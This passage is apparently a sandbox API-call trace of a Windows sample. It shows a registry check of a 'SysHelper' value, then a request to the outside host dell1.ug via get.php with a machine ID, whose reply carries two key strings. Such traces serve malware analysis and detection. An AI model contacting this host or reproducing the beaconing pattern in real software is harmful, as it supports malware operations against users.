RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7aa7130 [0110.349] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7aa79b8 [0110.349] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7ab1b48 [0110.349] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7ab23b0 [0110.349] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7aa8240 [0110.349] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7aa8ac8 [0110.349] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7aa9350 [0110.349] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7aa9bd8 [0110.349] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7aaa460 [0110.349] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7aaace8 [0110.349] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7aab570 [0110.349] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7aabdf8 [0110.349] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7aac680 [0110.349] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a208d0 [0110.349] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7aacf08 [0110.349] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7ab2c18 [0110.349] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7ab3430 [0110.349] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7ab3c48 [0110.350] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7ab4460 [0110.350] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7ab4c78 [0110.350] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7ab5490 [0110.350] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7ab5ca8 [0110.350] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bfe0 [0110.350] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7aad790 [0110.350] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7aae018 [0110.350] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7aae8a0 [0110.350] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7aaf128 [0110.350] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4156a0, lpParameter=0x79d5220, dwCreationFlags=0x0, lpThreadId=0x7a19cf8 | out: lpThreadId=0x7a19cf8*=0x604) returned 0x3a4 [0110.351] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4162f0, lpParameter=0x473998, dwCreationFlags=0x0, lpThreadId=0x473990 | out: lpThreadId=0x473990*=0x360) returned 0x39c [0110.351] GetMessageW (lpMsg=0x18bdc8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) [0114.743] NtdllDefWindowProc_W () returned 0x0 [0122.677] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x800) returned 0x7b13900 [0122.677] GetComputerNameW (in: lpBuffer=0x7b13900, nSize=0x18b920 | out: lpBuffer="XDUWTFONO", nSize=0x18b920) returned 1 [0122.677] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ba0 [0122.677] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0122.677] IsWindow (hWnd=0x20156) returned 1 [0122.677] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ba0 | out: hHeap=0x5010000) returned 1 [0206.271] NtdllDefWindowProc_W () returned 0x1 [0226.504] NtdllDefWindowProc_W () returned 0x1 Thread: id = 175 os_tid = 0x6ec Thread: id = 176 os_tid = 0x714 Thread: id = 177 os_tid = 0x770 Thread: id = 178 os_tid = 0x774 Thread: id = 179 os_tid = 0x77c Thread: id = 180 os_tid = 0x504 Thread: id = 197 os_tid = 0x34c Thread: id = 198 os_tid = 0x314 Thread: id = 241 os_tid = 0x500 [0109.006] timeGetTime () returned 0x1132f10 [0109.006] GetLastError () returned 0x54f [0109.006] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x3bc) returned 0x7a2c360 [0109.006] GetCurrentThreadId () returned 0x500 [0109.006] SetLastError (dwErrCode=0x54f) [0109.006] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion", ulOptions=0x0, samDesired=0xf003f, phkResult=0xe22a6e4 | out: phkResult=0xe22a6e4*=0x5a8) returned 0x0 [0109.007] RegQueryValueExW (in: hKey=0x5a8, lpValueName="SysHelper", lpReserved=0x0, lpType=0xe22a6d8, lpData=0xe22a6e0, lpcbData=0xe22a6dc*=0x4 | out: lpType=0xe22a6d8*=0x4, lpData=0xe22a6e0*=0x1, lpcbData=0xe22a6dc*=0x4) returned 0x0 [0109.007] RegCloseKey (hKey=0x5a8) returned 0x0 [0109.007] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0109.007] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a480d8 [0109.007] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0109.007] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a480d8 | out: hHeap=0x5010000) returned 1 [0109.007] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x5101758 [0109.007] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7a2c728 [0109.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5101758, cbMultiByte=-1, lpWideCharStr=0x7a2c728, cchWideChar=1056 | out: lpWideCharStr="DD27E7F2A8F3C6E76FED65713A3B1277") returned 33 [0109.007] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x850) returned 0x7a1d1f0 [0109.007] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a2c728 | out: hHeap=0x5010000) returned 1 [0109.007] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5101758 | out: hHeap=0x5010000) returned 1 [0109.007] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8c0) returned 0x7a2c728 [0109.007] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0109.007] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1d1f0 | out: hHeap=0x5010000) returned 1 [0109.007] lstrcpyW (in: lpString1=0xe22af78, lpString2="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php?pid=DD27E7F2A8F3C6E76FED65713A3B1277" | out: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php?pid=DD27E7F2A8F3C6E76FED65713A3B1277") returned="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php?pid=DD27E7F2A8F3C6E76FED65713A3B1277" [0109.007] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php?pid=DD27E7F2A8F3C6E76FED65713A3B1277", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0110.125] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe22a778, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe22a774 | out: lpBuffer=0xe22a778*, lpdwNumberOfBytesRead=0xe22a774*=0x67) returned 1 [0110.125] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0110.126] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0110.126] lstrlenA (lpString="{\"line1\":\"") returned 10 [0110.127] lstrcpyA (in: lpString1=0xe22ab78, lpString2="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" | out: lpString1="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" [0110.127] lstrcpyA (in: lpString1=0xe22a778, lpString2="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" | out: lpString1="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.127] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.128] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.128] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.128] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.128] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.128] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.128] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.128] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c180 [0110.128] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8ba) returned 0x7a33048 [0110.128] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x797c180, cbMultiByte=-1, lpWideCharStr=0x7a33048, cchWideChar=1117 | out: lpWideCharStr="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 94 [0110.128] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8c0) returned 0x7a33910 [0110.128] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a33048 | out: hHeap=0x5010000) returned 1 [0110.128] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c180 | out: hHeap=0x5010000) returned 1 [0110.128] lstrcpyW (in: lpString1=0x464f20, lpString2="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" | out: lpString1="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" [0110.128] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a33910 | out: hHeap=0x5010000) returned 1 [0110.128] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0110.128] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xbc) returned 0x7a20740 [0110.128] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xe22a778, cbMultiByte=-1, lpWideCharStr=0x7a20740, cchWideChar=94 | out: lpWideCharStr="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 94 [0110.128] lstrcpyW (in: lpString1=0x464f20, lpString2="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" | out: lpString1="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" [0110.128] lstrlenW (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi") returned 40 [0110.128] lstrlenA (lpString="\",\"line2\":\"") returned 11 [0110.128] lstrcpyA (in: lpString1=0xe22ab78, lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" | out: lpString1="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" [0110.128] lstrcpyA (in: lpString1=0xe22a778, lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" | out: lpString1="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" [0110.128] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.128] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.128] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.128] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.128] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.128] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.128] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.128] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.128] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.128] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.128] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.128] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.128] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.128] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05898 [0110.129] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x854) returned 0x7a33048 [0110.129] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7a05898, cbMultiByte=-1, lpWideCharStr=0x7a33048, cchWideChar=1066 | out: lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 43 [0110.129] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7a338a8 [0110.129] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a33048 | out: hHeap=0x5010000) returned 1 [0110.129] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05898 | out: hHeap=0x5010000) returned 1 [0110.129] lstrcpyW (in: lpString1=0x46c450, lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" | out: lpString1="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" [0110.129] HeapFree (in: 